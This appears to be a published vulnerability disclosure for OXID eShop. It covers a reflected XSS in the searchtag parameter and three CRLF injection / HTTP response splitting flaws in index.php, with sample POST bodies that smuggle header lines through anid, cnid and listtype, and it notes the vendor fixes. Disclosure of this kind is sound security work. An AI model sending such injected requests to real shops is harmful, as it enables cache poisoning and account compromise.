OXID eShop < 4.7.11/5.0.11 / < 4.8.4/5.1.4 - Multiple Vulnerabilities

# Exploit Title: OXID eShop v<4.7.11/5.0.11 + v<4.8.4/5.1.4 Multiple Vulnerabilities 
# Google Dork: -
# Date: 12/2013
# Exploit Author: //sToRm 
# Author mail: [email protected]
# Vendor Homepage: http://www.oxid-esales.com
# Software Link: -
# Version: All versions < 4.7.11/5.0.11 + All versions < 4.8.4/5.1.4
# Tested on: Multiple platforms
# CVE : CVE-2014-2016 + CVE-2014-2017 (reserved)


###########################################################################################################
# XSS vulnerability #######################################################################################

Under certain circumstances, an attacker can trick a user to enter a specially crafted 
URI or click on a mal-formed link to exploit a cross-site scripting vulnerability that 
theoretically can be used to gain unauthorized access to a user account or collect 
sensitive information of this user. 

SAMPLE: -------------------------------------------------------------------------------
http://HOST/tag/sample/sample-name.html?cur=2&listtype=tag&pgNr=2&searchtag=[XSS]
---------------------------------------------------------------------------------------

Products:

    OXID eShop Enterprise Edition
    OXID eShop Professional Edition
    OXID eShop Community Edition 

Releases: All previous releases 
Platforms: All releases are affected on all platforms. 
	
STATE
- Resolved in OXID eShop version 4.7.11/5.0.11. and OXID eShop version 4.8.4/5.1.4.
- A fix for OXID eShop version 4.6.8 is available.

Bulletin: http://wiki.oxidforge.org/Security_bulletins/2014-001

###########################################################################################################
###########################################################################################################





########################################################################################################### 
# Multiple CRLF injection / HTTP response splitting #######################################################

Under certain circumstances (depending on the browser, OS, PHP-Version), an attacker can trick a user to 
enter a specially crafted URI or click on a mal-formed link to exploit a HTTP response splitting vulnerability
that theoretically can be used to poison cache, gain unauthorized access to a user account or collect 
sensitive information of this user.

A possible exploit by passing such a mal-formed URI could lead to:
- return of a blank page or a PHP error (depending on one's server configuration)
- set unsolicited browser cookies 

Products:

    OXID eShop Enterprise Edition
    OXID eShop Professional Edition
    OXID eShop Community Edition 

Releases: All previous releases 
Platforms: All releases are affected on all platforms. 

STATE:
- Resolved in OXID eShop version 4.7.11/5.0.11. and OXID eShop version 4.8.4/5.1.4.
- A fix for OXID eShop version 4.6.8 is available. 
	
Bulletin: http://wiki.oxidforge.org/Security_bulletins/2014-002


Vulnerability details:

########################################################################################################### 
# 1 # CRLF injection / HTTP response splitting ############################################################

PATH: ROOT/index.php
PARAMETER: anid

CONCEPT: --------------------------------------------------------------------------------------------------
actcontrol=start
&aid=1
&am=1
&anid=%0d%0a%20[INJECT:INJECT]
&cl=start
&fnc=tobasket
&lang=0
&pgNr=0
&stoken=1
-----------------------------------------------------------------------------------------------------------

SAMPLE:
--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------
actcontrol=start&aid=1&am=1&anid=%0d%0a%20INJECTED:INJECTED_DATA&cl=start&fnc=tobasket&lang=0&pgNr=0&stoken=1
-----------------------------------------------------------------------------------------------------------
###########################################################################################################
###########################################################################################################





###########################################################################################################
# 2 # CRLF injection / HTTP response splitting ############################################################

PATH: ROOT/index.php
PARAMETER: cnid

CONCEPT: --------------------------------------------------------------------------------------------------
actcontrol=details
&aid=1
&am=1
&anid=0
&cl=details
&cnid=%0d%0a%20[INJECTED:INJECTED]
&fnc=tobasket
&lang=0
&listtype=list
&panid=
&parentid=1
&stoken=1
&varselid%5b0%5d=
-----------------------------------------------------------------------------------------------------------

SAMPLE:
--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------
actcontrol=details&aid=1&am=1&anid=0&cl=details&cnid=%0d%0a%20INJECTED:INJECTED_DATA&fnc=tobasket&lang=0&listtype=list&panid=&parentid=1&stoken=1&varselid%5b0%5d=
-----------------------------------------------------------------------------------------------------------
###########################################################################################################
###########################################################################################################





###########################################################################################################
# 3 # CRLF injection / HTTP response splitting ############################################################

PATH: ROOT/index.php
PARAMETER: listtype

CONCEPT: --------------------------------------------------------------------------------------------------
actcontrol=details
&aid=1
&am=1
&anid=0
&cl=details
&cnid=0
&fnc=tobasket
&lang=0
&listtype=%0d%0a%20[INJECTED:INJECTED]
&panid=
&parentid=0
&stoken=0
&varselid%5b0%5d=
-----------------------------------------------------------------------------------------------------------

SAMPLE:
--- POST /index.php HTTP/1.1 ------------------------------------------------------------------------------
actcontrol=details&aid=1&am=1&anid=0&cl=details&cnid=0&fnc=tobasket&lang=0&listtype=%0d%0a%20INJECTED:INJECTED_DATA&panid=&parentid=0&stoken=0&varselid%5b0%5d=
-----------------------------------------------------------------------------------------------------------
###########################################################################################################
###########################################################################################################



Many greetings to all lunatics and freaks out there who live daily in the code like me and my partners. 
A thanks to the developers who have responded relatively quickly.

Cheers!
//sToRm